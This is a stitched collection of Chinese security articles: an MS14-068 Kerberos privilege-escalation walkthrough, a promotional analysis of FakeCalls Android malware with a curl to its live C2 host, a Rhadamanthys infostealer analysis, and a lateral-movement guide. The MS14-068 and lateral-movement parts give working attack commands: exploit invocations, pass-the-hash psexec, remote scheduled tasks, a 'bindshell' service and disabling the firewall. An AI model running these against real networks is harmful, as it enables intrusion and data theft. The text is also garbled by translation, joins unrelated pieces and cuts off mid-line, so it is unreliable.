在下一節中,我們將概述惡意內部人員經常用來利用這些區塊鏈漏洞的攻擊。我們還研究了對您的網絡有用的區塊鏈攻擊向量和預防技術。

HireHackking

域渗透|MS14-068

MS14-068

MS14-068

https://WWW.SE7ENSEC.CN/2021/10/20/20/%E5%9F%9F%E6%B8%97%E9%80%80%8F-KERBEROS% E5%9F%9F%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#Pac-1

MS14068是一个权限升级漏洞,可以使普通用户能够增加其对域控制权限的权力。攻击者可以通过构建特定的请求数据包来实现升级权限的目的。

这种漏洞的主要问题是,KDC将根据指定PAC中的数字签名和PAC的加密算法的加密算法来验证PAC的合法性。这使攻击者可以通过锻造PAC来修改PAC中的SID,从而导致KDC判断攻击者是一个高私密的用户,从而导致了特权升级脆弱性。

漏洞补丁地址: https://Technet.microsoft.com/zh-cn/library/security/security/MS14-068

使用方法

MS14-068的相应补丁是KB3011780。您可以检查此补丁是否通过域控制上的SystemInfo安装。

1SystemInfo |查找'3011780'

keoko

12KLIST清除清除账单Kekeo'Exploit3:MS14068 /domain:ROOTKIT.ORG /user33: py:https://github.com/mubix/pykek

exe:https://github.com/ianxtianxt/ms14-068

参数描述:

-U域帐户@Domain名称

-p是当前用户的密码

-s是当前用户的SID值。可以通过Whoami/All获得用户的SID值。

-d是当前域的域控制

–RC4 Hash适用于当前用户

通过DIR访问域控制的共享文件夹,并促使访问被拒绝。 1dir \\ owa2013.rootkit.org \ c $

Generate ticket 1MS14-068.exe -u sqladmin@rootkit.org -p Admin12345 -s S-1-5-21-3759881954-2993291187-3577547808-1613 -d OWA2013.rootkit.org

成功执行脚本将在当前目录中生成CCACHE文件。在导入票证之前,请在CMD中使用命令KLIST净化,或使用Mimikatz中的Kerberos:Purge删除当前缓存的Kerberos票。 1KLIST清除

使用mimikatz 1mimikatz'kerberos:ptc tgt_sqladmin@rootkit.org.ccace'Exit导入生成的CCACHE文件。

您可以再次通过DIR成功访问域控件共享。

Pykek

Goldenpac.py在Impacket工具套件中,该工具是组合MS14-068 Plus PSEXEC的产物,非常易于使用。

1python goldenpac.py -dc-ip 192.168.3.144 -target-ip 192.168.3.144 rootkit.org/sqladmin3:admin12345@owa ewoawa extim32013.rootkit.org https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-068

https://daiker.gitbook.io/windows-protocol/kerberos/3#0x00-qian-yan

https://cloud.tencent.com/developer/article/1760132

https://www.cnblogs.com/backlion/p/6820744.html

想要輕鬆掌握Android 惡意軟件的逆轉技術嗎? Incinerator 將是你在這場網絡攻防戰中的得力夥伴,無論是資深專家還是初出茅廬的新手,都能在這款工具中找到自己的舞台。

大家好!在這篇文章裡,我們將探索Incinerator 的強大功能、豐富特性以及它所帶來的種種優勢。這款Android 逆向工程工具集的靈感來自於廣受好評的Shambles項目。

1.png

我們的目標非常明確:打造一款能夠輕鬆應對Android 應用,尤其是惡意軟件的高級逆向工具。我們需要的是一個集反編譯、解密、動態調試和漏洞檢測於一體的全能工具。而且,這款工具還得能夠快速、準確地揪出那些常見和隱蔽的威脅跡象(IOCs)。

正是基於這些目標,我們推出了Incinerator!簡單來說,它是一個功能全面、操作簡便的逆向工程生態系統。不論你是經驗豐富的逆向工程專家,還是剛踏入惡意軟件分析領域的新手,Incinerator 都能滿足你的需求。

Incinerator 應用內置了多種強大功能,讓你可以輕鬆反編譯Android 應用,自動解密內容,取消反射API 調用,獲取清晰的反混淆代碼,並在真實設備上進行實時調試分析。這對於那些想要深入了解、分析和逆轉Android 惡意軟件的人來說,是一個完美的選擇,即使你沒有太多經驗也沒關係。

Incinerator 在後台進行的分析工作包括組件分析、安全漏洞檢測、靜態和動態代碼分析、漏洞挖掘以及惡意代碼分析。通過全面的檢查,Incinerator 能夠有效地幫助用戶識別和解決安全風險和漏洞。

在更高層次上,Incinerator 將解密任務放在雲端處理,其內部的漏洞分析引擎沙箱會實時更新漏洞庫,能夠精確到代碼的具體行來定位惡意代碼或漏洞。

多年前,Incinerator 與JEB 或GDA 進行了性能對比測試,並展現出了卓越的性能。如果你想看完整的對比報告,可以點擊這裡查看。

此外,我們還對比了多個威脅情報中心和在線沙箱的惡意代碼檢測與分析能力,以此來衡量Incinerator 的性能。結果同樣令人滿意,相關報告也可供大家參考。

2.png

3.png

現在,讓我們來認識一下Incinerator 背後的團隊。這款工具由Lian Security的一支約12 人的工程師團隊開發,歷時約兩年。他們也是SHAMBLES、INCINERATOR和FLEGIAS等產品的開發者,這些產品覆蓋了從軟件、基礎設施、硬件到基本操作和維護、產品UI 設計等多個領域。

4.png

Incinerator 可以在Windows、MacOS和Linux系統上運行。它支持分析APK 和DEX 文件。 APK 文件包含了編譯後的代碼文件(.dex 文件)、資源文件、證書和清單文件。 DEX 文件是Android 系統的可執行文件,包含了應用程序的所有操作指令和運行時數據。

分析文件的途徑有兩種,一種是通過Incinerator 的桌面應用程序界面,如下圖所示。

5.png

另一種是通過雲端的網絡門戶進行。

6.png

選擇哪一種方式,全憑個人喜好。我個人習慣於通過桌面應用程序上傳和打開APK。上傳後,你可以登錄到雲端門戶,在https://incinerator.cloud/#/main/task/list查看上傳的樣本。

7.png

從網絡門戶,你可以查看和處理生成的基於網絡的報告。這些報告可以分享給其他人進行APK 分析。這種訪問權限需要在你的UCENTER賬戶中進行配置,默認情況下是不公開的。

8.png

如果你想要深入了解報告,或者跟隨我們的分析步驟,請點擊這裡,你將看到如下的報告內容。

9.png

Incinerator 使用的ML 模型具有非常高的準確性。 Incinerator 的一些功能實際上是開源的,可以在Lian Security 的Github上找到。特別是用於處理和生成報告數據的兩個模型已經公開。

android-malware-detection

apk-obfucation-detection

在Base Info和Behavior Info面板以及Static Analysis、Dynamic Analysis和APK Risk側邊面板中,包含了大量的信息。我們的目標是提供一個材料清單(BOM),它從包管理器、二進製文件、源代碼和容器圖片中派生。

讓我們看看我個人特別喜歡的一些功能。你可以下載APK 的網絡流量,並將其導入到Wireshark 中進行分析。

10.png

例如,應用程序權限(Application Permissions)等許多面板,都是基於androidmanifest.xml文件的分析結果得出的,還有更多信息等待你去發掘。

11.png

快速瀏覽一下報告中的軟件組成分析(SCA)部分,你會發現這些信息大部分都是非常有價值的。

12.png

我邀請你自己去探索這份報告。我不會再次回到這個網絡門戶,因為在網絡上看到的所有內容都已經融入到了主應用程序中。

一旦樣本被雲端引擎完全分析,我們就可以開始在Incinerator 應用程序中對其進行分析。當你第一次加載樣本時,APK 報告會加載出來,它和網絡門戶報告中的內容非常相似。

13.png

如前所述,Incinerator 是一個沙箱工具,用於記錄應用程序的整個執行過程,以調用棧的形式展示。當用戶在本地打開相應的樣本時,我們可以提供類似動態調試的體驗。這使得用戶能夠理解樣本在動態執行後是如何被觸發的。

14.png

工具界面主要分為兩個部分:Base Info和Behavior info。每個部分提供的信息和主要差異如下,這些是你在使用時通常會看到的內容,但請注意,這裡列出的並不是全部信息。

15.png

在右側,我們有四個面板:Android Monitor、Set Debug Device、Static Analysis和Dynamic Analysis,我們將在後面的內容中詳細探討這些面板。

16.jpg

這是Incinerator 用戶界面的基本佈局。

17.png

讓我們開始逆轉一些惡意軟件吧!以FakeCalls 為例。逆轉惡意軟件的主要目標之一是識別攻擊者用來竊取和外洩數據的C2 和CC 通信渠道。 Incinerator 在識別這些通信渠道方面表現得非常出色。

18.png

正如上圖所示,我們知道這款惡意軟件使用了死信箱解析器(T1102.001)。這是一種將惡意內容存儲在合法網絡服務上,然後通過調用將其安裝到受害者設備上的技術。這些服務常常用來代理和掩蓋與真實CC 服務器之間的通信,通過額外的域名和IP 地址實現。

讓我們通過checkpoint 報告中檢索到的curl 信息,手動在Incinerator 中逆轉這種行為。 Incinerator 引擎識別出了執行請求到C2 服務器daebak222.com/huhu/admin.txt的代碼,如下圖所示。

19.png

如果我們對端點執行curl 命令,將會得到以下輸出。

$ curl https://www.daebak222.com/huhu/admin.txt

{

'a01': 'eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fA==',

'b05': 'Y2ViYWIrPj4gICI_IyAjPykpPyAlKSspIiMjPn14Z3Q=',

'a07': 'eWVlYWIrPj4gKSM_ICc_JSM_ICkrJCEkJD55ZHlkPnB1fHh_P2VpZQ=='

}

我們的目標是理解惡意軟件為何要獲取這些信息,以及它的用途。結果發現,這些信息被用來更新它的C2 通信渠道。這次檢測的整個調用棧指向了ServerInfoService.java,它調用了Service和Binder Android類,這些類通常在你需要通過HTTP 請求獲取服務器信息的服務中使用。它還提供了其他組件訪問這些信息的方法。

ServerInfo類包含了有關服務器的信息。

a01 (eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fA==),

b05 (Y2ViYWIrPj4gICI_IyAjPykpPyAlKSspIiMjPn14Z3Q=),

a07 (eWVlYWIrPj4gKSM_ICc_JSM_ICkrJCEkJD55ZHlkPnB1fHh_P2VpZQ==)

它代表了我們期望從服務器獲取的各種屬性。

20.png

其中,serverInfo.a01代表新服務器,serverInfo.b05代表備用服務器,serverInfo.a07代表從哪個服務器獲取信息。 fetch()和fetchFromAlternative()方法用來啟動HTTP 請求,以獲取服務器信息。

21.png

如果我們在Incinerator 控制台中按下tab鍵進入fetch()方法,我們可以看到Android 應用程序字節碼的中間語言,也就是所謂的'smali' 代碼。在這裡我們可以清楚地看到eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fD55ZHlkPnB1fHh_P2VpZQ==實際上是daebak222.com/huhu/admin.txt。就在下面,我們有onData方法,如果成功獲取服務器信息,則記錄成功消息。然後,它會檢查ServerInfo對象的字段(a01、b05、a07)是否有空。如果任何一個字段為空,它會記錄一個警告消息,指示服務器信息無效。否則,它將調用ServerInfoService類的updateServerInfo方法,傳遞接收到的ServerInfo對象,以更新服務器信息。

22.png

太棒了!有了Incinerator,這一切都變得非常簡單。接下來,讓我們看看Incinerator 的檢測能力。 Incinerator 識別出惡意軟件能夠捕獲設備接收的SMS 消息,發送短信,並根據C2 服務器的指令撥打電話。

23.png

讓我們驗證一下這款惡意軟件是否真的具備在受感染設備上捕獲電話通話、短信等信息的能力。首先,我們需要確認惡意軟件是否已經獲取或為自己分配了獲取這些信息的權限。從下面的圖中可以看出,它確實擁有大量權限。

24.png

那麼,惡意軟件是如何獲得這些權限的呢?我們可以雙擊調用棧中的任何參數,打開相應的代碼進行查看。特別值得注意的是Add New Device Administrator的事件。

25.png

惡意軟件會檢查設備管理員是否活躍,如果不是,它會通過發送一個Intent 來請求設備管理員權限,這個Intent的動作是android.app.action.ADD_DEVICE_ADMIN。只要用戶不答應,它就會不斷地通過循環窗口請求權限。

26.png

27.png

一旦用戶授予了權限,根據我的經驗,唯一手動停用它的方法是在Settings - Security - Device Management中操作,但到那時可能已經太晚了。

下面列出的是應用程序請求或已經獲取的權限,但這個列表並不全面:

permissionNames.add('READ CONTACTS');

permissionNames.add('WRITE CONTACTS');

permissionNames.add('READ SMS');

permissionNames.add('RECEIVE SMS');

permissionNames.add('SEND SMS');

permissionNames.add('RECORD AUDIO');

permissionNames.add('READ PHONE STATE');

permissionNames.add('WRITE EXTERNAL STORAGE');

permissionNames.add('READ EXTERNAL STORAGE');

permissionNames.add('CHANGE WIFI STATE');

permissionNames.add('INTERNET');

permissionNames.add('ACCESS WIFI STATE');

permissionNames.add('GET ACCOUNTS');

permissionNames.add('READ LOGS');

permissionNames.add('PROCESS OUTGOING CALLS');

permissionNames.add('CALL PHONE');

permissionNames.add('RECEIVE BOOT COMPLETED');

permissionNames.add('DISABLE KEYGUARD');

permissionNames.add('INSTALL SHORTCUT');

permissionNames.add('UNINSTALL SHORTCUT');

permissionNames.add('WAKE LOCK');

permissionNames.add('CHANGE WIFI STATE');

permissionNames.add('INTERNET');

permissionNames.add('ACCESS WIFI STATE');

permissionNames.add('GET ACCOUNTS');

permissionNames.add('READ LOGS');

permissionNames.add('PROCESS OUTGOING CALLS');

permissionNames.a

Rhadamanthys是一款很高級的信息竊取程序,於去年9月在暗網上首次亮相,亮相之初即受到了攻擊者的熱捧。

2022年9月24日,一個化名“kingcrete2022”的用戶發布了以下內容:

1.png

開發者並沒有急於將該產品投放市場,他們已經以“kingcrete2022”的化名在論壇上潛伏了半年,實際可能比其他化名的時間還要長。惡意軟件的整體性構建在正式發布前整整一個月就已經編譯完成了。在正式發布後,一系列瘋狂的版本更新便開始了,開發者添加了一長串功能和子功能,並提供了英語和俄語支持。很快數千個用戶的信息、數十萬個密碼和數百個加密貨幣錢包就被竊取。為了擴大攻擊範圍,開發者還對購買其服務的用戶提供了售後服務。

2.png

攻擊目標理論上,Rhadamanthys的開發者並不關心用戶如何處理竊取者竊取的非法數據,不管是實施欺詐、出售數據、發動內戰,對開發者來說都是一樣的。實際上,這種現成惡意軟件的主要客戶是投機取巧的網絡犯罪分子,他們的目標是在任何時間感染任何人。因此,活動受害者遍布世界各地,特別是在一些地方,一些運營商已經開始進行創造性迭代了,比如一個活動以OBS studio等視頻編輯軟件為幌子傳播樣本,通過谷歌廣告推送給不知情的受害者。

3.png

攻擊熱圖一般來說,操作這類惡意軟件的攻擊者通常不像大型勒索軟件組織那樣太關心大型目標。對他們來說,這只是一場數字遊戲,即從眾多受害者身上榨取金錢。儘管如此,從統計數據來看,這些攻擊的最終目標確實是針對大型組織的;通過監測,我們能夠確認Rhadamanthys試圖感染加拿大的一家政府機構,以及印度基礎設施部門的一家能源公司。

功能概述Rhadamanthys中包含的功能非常多,其設計原則就是囊括信息竊取所需的一切功能和有關擴展。

Rhadamanthys的功能列表包括竊取受害者的系統信息:計算機名稱、用戶名、內存容量、CPU內核、屏幕分辨率、時區、地理位置、環境、安裝的軟件、屏幕截圖、cookie、歷史記錄、自動填充、保存的信用卡、下載、收藏夾和擴展,它從FTP客戶端竊取憑據——Cyberduck、FTP Navigator、FTPRush、FlashFXP、Smartftp、TotalCommander、Winscp、Ws_FTP和Coreftp;以及來自郵件客戶端CheckMail, Clawsmail, GmailNotifierPro, Mailbird, Outlook, PostboxApp, Thebat! Thunderbird, TrulyMail, eM和Foxmail;它從雙因素驗證應用程序和密碼管理器RoboForm、RinAuth、Authy和KeePass竊取憑據;VPN業務,包括AzrieVPN、NordVPN、OpenVPN、PrivateVPN_Global_AB、ProtonVPN和WindscribeVPN;筆記應用程序,包括NoteFly、Notezilla、Simple Stick Notes和Windows Stick Notes;即時通訊應用程序的消息歷史記錄,包括Psi+、Pidgin、tox、Discord和Telegram;此外,它還竊取了Steam、TeamViewer和SecureCRT的受害者憑據。

5.png

當Filezilla FTP憑據出現在攻擊者端時被竊取

開發者特別強調了與竊取加密貨幣相關的功能,在一個版本更新中,有9項新功能,其中4項是對加密貨幣錢包的竊取和破解的增強。最初版本中支持的錢包列表確實很難處理,包括Auvitas, BitApp, Crocobit, Exodus, Finnie, GuildWallet, ICONex, Jaxx, Keplr, Liquality, MTV, Metamask, Mobox, Nifty, Oxygen, Phantom, Rabet, Ronin, Slope, Sollet, Starcoin, Swash, Terra, Station, Tron, XinPay, Yoroi, ZilPay, Coin98, Armory, AtomicWallet, Atomicdex, Binance, Bisq, BitcoinCore, BitcoinGold, Bytecoin, coinomi, DashCore, DeFi, Dogecoin, Electron, Electrum, Ethereum, Exodus, Frame, Guarda, Jaxx, LitecoinCore, Monero, MyCrypto, MyMonero, Safepay, Solar, Tokenpocket, WalletWasabi, Zap, Zcash 和Zecwallet。

所有這些竊取行為都是在感染後自動執行的,如果攻擊者決定對受感染的設備進行更多的操作,他們可以將新配置推到“文件抓取”模塊,該模塊將竊取與windows搜索查詢匹配的所有文件或者對於真正的高級用戶,將手工製作的powershell推到受害設備上執行。

6.png

在攻擊者端出現時被竊取的環境變量

7.png

“文件抓取”模塊在攻擊者端出現時竊取的文件

技術分析初步執行流程該惡意軟件在進入信息竊取功能之前要經歷六個執行階段:滴管、shellcode、安裝程序等。

在分析Rhadamanthys時,我們觀察到分析樣本的邏輯與上述文章中詳細描述的邏輯之間的差異,這證明了惡意軟件還在不斷開發中。最值得注意的是NSIS加載程序DLL的行為,在我們分析的執行流中,它從C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\AppLaunch.exe創建一個掛起的進程,然後用注入的惡意代碼逐個替換掛起的進程。

8.png

如上所述,注入的代碼會依次加載幾個執行階段,其中一個階段嘗試從Al-Khaser項目中獲取許多VM逃避,然後解綁ntdll.dll中的函數,以避免被檢測到。最後,它解析了一個內部混淆的C2地址,並從其中下載包含實際信息竊取功能的最後階段。

分析孤立內存轉儲分析實際的竊取邏輯並不是那麼簡單,在無法訪問實時C2服務器的情況下,分析師有兩種選擇。要么他們去執行一個全新的執行鏈,對所有階段進行調試,並希望獲得一個實時的C2服務器,該服務器會使用很多啟發式方法將它們竊取;或者在不可讀的狀態下使用轉儲,這些轉儲是在C2仍然存在時從沙箱運行中獲得的。在這種特殊的情況下,內存轉儲包含許多說明惡意軟件大致行為的字符串,但是在進行適當的交互式反彙編之前存在許多障礙。

第一個也是最主要的障礙是缺乏API調用的解決方案。在反彙編程序中打開轉儲,然後進行函數調用,可以很快地運行一個必須是動態解析函數的自製導入表。轉儲是沙箱運行的產物,早就結束了,現在這些地址似乎毫無意義。我們能夠使用下面將要解釋的方法來解析幾乎每個函數。

9.png

首先,我們知道,在沙箱運行期間,這些地址指向加載到內存中的DLL。第二,我們知道執行是在擁有代碼名為Win10v2004-20220812-en的tria.ge環境中運行的。我們將自己的虛擬可執行文件上傳到沙箱中,確保我們選擇的環境與原始沙箱運行中使用的環境相同,然後查看我們選擇的DLL並恢復DLL版本。

10.png

不幸的是,即使我們有DLL版本,微軟也沒有那麼慷慨地提供DLL的歷史版本供下載。這類問題有多種解決方法,你可以上winbindex查找。我們選擇使用tria.ge的一個功能:許多用戶要求提供手動轉儲執行流中生成的文件的功能。作為一種解決方案,沙箱引入了一項功能,允許用戶轉儲他們想要的任何文件,只要他們打開windows文件資源管理器並手動刪除那裡的文件。好吧,如果我們嘗試將kernel32.dll從C:\windows\system32中的駐留位置刪除,操作系統將不會允許,但沒有什麼能阻止我們將文件複製到其他地方,然後刪除副本。在原始沙箱運行期間加載到內存中的同一個DLL現在可以在分析結束後從分析報告的“下載”部分獲得。

11.png

通過這種方式,我們下載了許多dll,這些dll是惡意軟件或任何軟件真正想要解析API的始作俑者,如advapi32.dll、user32.dll、msvcrt.dll、ws2_32.dll等。現在我們可以在反彙編程序中打開這些文件,手動加載文件並為每個DLL函數分配虛擬地址。遺憾的是,我們還遠遠沒有完成,因為我們仍然不知道DLL最初加載時的基址,甚至不知道特定的DLL包含某個內存地址所指向的函數。

即使不知道哪一個是相關的DLL,也可以通過簡單的觀察在一定程度上緩解,例如,在下圖中,函數qword_c5c08(指針值0x7ffbf1bd5f20)將註冊表項作為參數,因此很可能來自advapi32.dll。但這不會適用於每個dll,我們不會總是足夠幸運地找到一個函數,惡意軟件會將這樣一個硬編碼字符串作為參數。更關鍵的是,即使我們以某種方式知道每個函數地址的正確DLL,這仍然不會告訴我們在最初的沙箱運行期間加載DLL的原始地址,這對於計算當時加載到內存中的函數地址(我們正在嘗試解析)與我們在反彙編程序中打開的加載的帶註釋的DLL中的標記函數地址之間的rebase delta(基於深度學習的語音和自然語言理解模型訓練平台)是必要的。

12.png

qword_c5c08可能是一個以某種方式與Windows註冊表交互的函數

為了克服這個障礙,我們注意到沙箱轉儲中的函數地址可能被劃分為連續的序列,每個序列都是從同一個DLL導入的。這意味著,如果我們從表中取出10個qword指針,幸運的是它們都是從同一個DLL中解析的,那麼當加載到內存中時,在該DLL中,這10個函數的地址之間將存在相同的差異。為了講解方便,我們舉一個示例:假設我們要解析的10個地址列表以某個地址AX開始,然後以AX+0x300、AX+0x500、AX+0x930等六個其他地址繼續;進一步假設,在一個加載和註釋的DLL中,我們發現對於某個地址AY,恰好AY+0x300、AY+0x500、AY+0x930等都是函數的地址。這是一個非常幸運的巧合,它本身就發生了,原始沙箱運行中的原始地址AX解析為我們註釋文件中AY中的函數。通過查看與列表中的地址匹配的10個函數名,並驗證它們似乎是沙箱中運行的軟件所需的合理列表,可以進一步檢查匹配情況。

以下IDAPython代碼在加載的DLL數據庫中運行時,將自動執行查找函數地址序列匹配項的任務:

13.png

例如,上圖中看到的地址(我們懷疑是從advapi32.dll解析出來的地址)出現在以下10個地址的序列中:

14.png

我們打開從沙箱中轉儲的advapi32.dll文件的註釋idb,加載上面的IDA腳本,並運行函數dll_match,將此地址列表作為輸入。作為輸出,我們收到這些函數地址中每一個的正確分辨率。

15.png

事實證明,在沙箱運行期間加載到地址0x7ffbf1bd5f20的上述函數是RegQueryValueExW。使用這種方法,可以很容易地“挑選”並嘗試對各種dll運行相同的腳本,以查看獲得了哪些匹配,以及它們的可行性。雖然特定的工作流程不能很好地擴展,但如果需要的話,不難看出如何簡化流程,例如,通過保留許多DLL版本的函數地址差異的預計算數據庫,並對其進行所有差異比較。

竊取Chrome信息的過程示例

即使解決了API調用,數據庫仍然非常大,包含超過2500個函數。其中許多是來自第三方庫的庫函數,如sqlite3和lua_cjson,這帶來了另一個麻煩,因為解析這些函數需要我們編譯這些庫的註釋版本,然後執行bindiff(或類似的操作)來標記Rhadamanthys使用的函數。這是一個出了名的挑選過程,許多標籤在手動驗證之前並沒有太大用處。

綜上所述,數據庫的狀態現在更令人滿意,並允許我們以以前無法做到的方式分析執行流。例如,我們將重點關注惡意軟件從谷歌Chrome中竊取存儲的登錄憑據、cookie等的能力,包括三個階段:正在搜索包含所有數據的正確目錄;

從包含cookie、登錄數據等的感興趣的文件中讀取原始數據;

根據數據是JSON還是SQL數據庫格式,使用第三方庫邏輯對數據進行解析;

惡意軟件首先在受害者文件系統中遞歸搜索名為“web data”的文件,以導航到%LOCALAPPDATA%\\Google\\Chrome\\User data\\default,然後遍歷樹查找其他工件,如“Cookie”或“登錄數據”,並將每個匹配項收集到二進制位字段中;如果這個字段非零,那麼惡意軟件就會確信它已經正確定位了Chrome目錄。

16.1.png

16.2.png

然後,惡意軟件會訪問用戶感興趣的文件,比如登錄數據。其中一些文件是SQL數據庫,在這種情況下,惡意軟件從內存中的文件內容初始化SQL數據庫,然後通過發出SELECT語句獲得所需的數據。相比之下,其他的則是JSON格式,因此惡意軟件會調用一個函數來解析JSON並提取與某個項相關的值:

17.1.png

17.2.png

通過將信息解析為明文格式,現在可以將其附加到被盜信息數據庫中,並最終報告給攻擊者,從而得到針對該特定目標(Chrome)的盜竊功能。

總結Rhadamanthys代表著在新興惡意軟件發展的趨勢,即它們盡可能多地發揮作用,也證明了在惡意軟件行業,品牌的影響力慢慢變大。一些讀者可能還記得Godzill加載程序的模式,它的零售價格只有Emotet的四分之一,並提供一系列與Emotet截然不同的功能,以增強其競爭力。這清楚地表明,攻擊者不會明確計算哪些功能集會為他們帶來更多的受害者,他們依賴於一種模糊的感覺,即他們對開發者、品牌和功能更看重。任何開發人員都可以編寫一段惡意軟件,有些開發人員甚至可以編寫一個具有完整功能的惡意軟件,但需要市場的認可。

在正常情况中,横向移动是在已经获取了足够的权限的情况下进行横向移动,下面中的方法大部分也需要高权限的操作。

https://www.freebuf.com/articles/network/251364.html

内网横向移动分为三种情况:

1.在VPN环境中进行横向移动;

2.在socks代理环境中进行横向移动;

3.在远程木马的环境中进行横向移动;

文件传输-前期准备

在进行横向移动的过程中,我们首先应该考虑的是文件传输方案,对之后向攻击目标部署攻击载荷或其他文件提供便利。

网络共享

在windows系统中,网络共享功能可以实现局域网之间的文件共享。提供有效的用户凭据,就可以将文件从一台机器传输到另一台机器。

获取到windows中系统默认开启的网络共享。

net share

在实战中,往往会使用IPC$连接,而IPC$连接需要两个要求。

1.远程主机开启了IPC连接;

2.远程主机的139端口和445端口开放;

net use \\10.10.10.10\IPC$ "admin!@#456" /user:"administrator"

此时,如果你具备足够权限的凭据,即可使用dir或者copy命令查看目标主机的信息。

安全性考虑:这些指令是在本地执行,远程的命令,因此不会在远程连接的主机留下日志信息,因此是比较安全。

搭建SMB服务器

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%BC%80%E5%90%AFWindows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%8C%BF%E5%90%8D%E8%AE%BF%E9%97%AE%E5%85%B1%E4%BA%AB

SMB(server message block,服务器消息块),又称CIFS(网络文件共享系统),基于应用层网络传输协议,一般使用NetBIOS协议或者TCP发送,使用139或445端口。

创建一个双方都可以访问的SMB服务器,在内网渗透中,让受害主机远程加载木马等操作控制目标主机。

CIFS协议和SMB协议的区别

**关于对CIFS权限的想法:**就是当我们拿下了一台机器,然后这台机器存在约束委派或者白银票据这些漏洞的话,通过操作获得到了域控的cifs权限,那就可以使用impacket工具包里面的工具类似psexec.py、smbexec.py之类的脚本,然后使用-no-pass -k参数通过读取到本地的票据直接连接上域控获取到权限。

但是impacket工具包在使用-no-pass -k参数的时候检测的是.ccache票据,在windows上使用的是.kirbi结尾的票据,因此无法成功。在linux上可以成功。

如果能够获取到域控的cifs权限,修改一下impacket工具,或者通过编写其他工具,通过CIFS权限就可以直接拿下域控。

计划任务

使用VPN和socks方式执行方式相同。

一般来说,需要获取到管理员的凭据才可以进行计划任务的执行。

通过搭建SMB服务器或者建立共享连接,使目标机器下载运行脚本,然后建立计划任务来执行脚本加载木马等。

当目标系统版本<window2012时,使用at:

net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接

copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器

at \\192.168.3.21 15:47 c:\add.bat #添加计划任务

当目标系统版本>=windows2012时,使用schtasks:

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接

copy add.bat \\192.168.3.32\c$ #复制文件到其C盘

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件

/s:指定要链接的系统;/ru:指定计划任务运行的用户权限;/tn:指定创建的计划任务的名称;

/sc:指定计划任务执行的频率;/tr:指定计划任务运行的程序路径;/F:如果指定任务存在,则强制创建;

/mo:指定计划任务执行周期;

schtasks /query /s 10.10.10.10 /TN c #查看计划任务c状态

schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务

schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务

o52p5f5qudi11773.png

注意计划任务执行的程序是在后台执行,没有回显。

在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。

drryni4jghu11778.png

figobb1qtfu11781.png

计划任务的添加、删除、执行等操作也都是在目标主机中有所体现。

wlb11liwbi211786.png

  1. Microsoft-Windows-TaskScheduler/Operational:这个事件日志记录了计划任务的操作、创建、修改和删除等活动。你可以在Windows事件查看器(Event Viewer)中找到这个日志。路径为:Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Operational。
  2. Microsoft-Windows-TaskScheduler/Maintenance:这个事件日志用于记录计划任务的执行情况,包括任务的开始、完成和错误信息等。同样,在Windows事件查看器中,你可以找到这个日志。路径为:Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Maintenance。

安全性考虑:计划任务虽然是在远程执行,但是会在目标主机建立一个计划任务进程,并且该进程也会在目标主机执行文件,这些行为都会在目标主机留下日志记录,因此较为危险。

系统服务

使用VPN和socks方式执行方式相同。

还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或者命令。

这样的方式需要两端主机的管理员权限。

sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序

sc \\10.10.10.10 create bindshell binpath= "c:\bind.exe"

注意这里的格式,“=”后面是必须空一格的,否则会出现错误。

启动服务

sc \\10.10.10.10 start bindshell

删除服务

sc \\[host] delete [servicename] #删除服务

我们还可以通过设置服务来关闭防火墙:

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

1xhth00z5wq11788.png

在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。

3j0smlhqn0g11790.png

系统服务方面的日志也会留下痕迹。

gqzk1nvjooa11793.png

安全性考虑:使用创建系统服务的方式,会在远程主机上创建服务,会在目标主机留下日志记录,因此较为危险。

PSEXEC

使用VPN和socks方式执行方式相同。

psTools

psexec是通过SMB连接到服务端的Admin$共享,并释放名为“psexesvc.exe”的二进制文件,然后注册名为“PSEXEC”服务,当命令执行时会通过该服务启动相应的程序执行命令并回显。运行结束后PSEXESVC服务会被删除。

因此,运行psexec需要的条件:

1.目标主机开启Admin$共享;

2.开启139或者445端口,以运行SMB;

3.需要目标主机的权限,创建服务;

PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -i -s cmd.exe

-accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框

-u:用户名

-p:密码

-s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell

impacket包

Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。

python psexec.py [[domain/] username [: password] @] [Target IP Address]

python psexec.py VVVV1/admins:User\!@#45@10.10.10.10

# 通过哈希密码连接获得目标域用户交互式shell

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

python文件和exe文件的命令相同。

foglltbxlam11795.png

使用psexec时,不仅会在域控产生登录日志,还会在目标机器中产生日志信息。

事件ID:7045

使用官方的PSEXEC TOOLS

qeecfbh5tsq11798.png

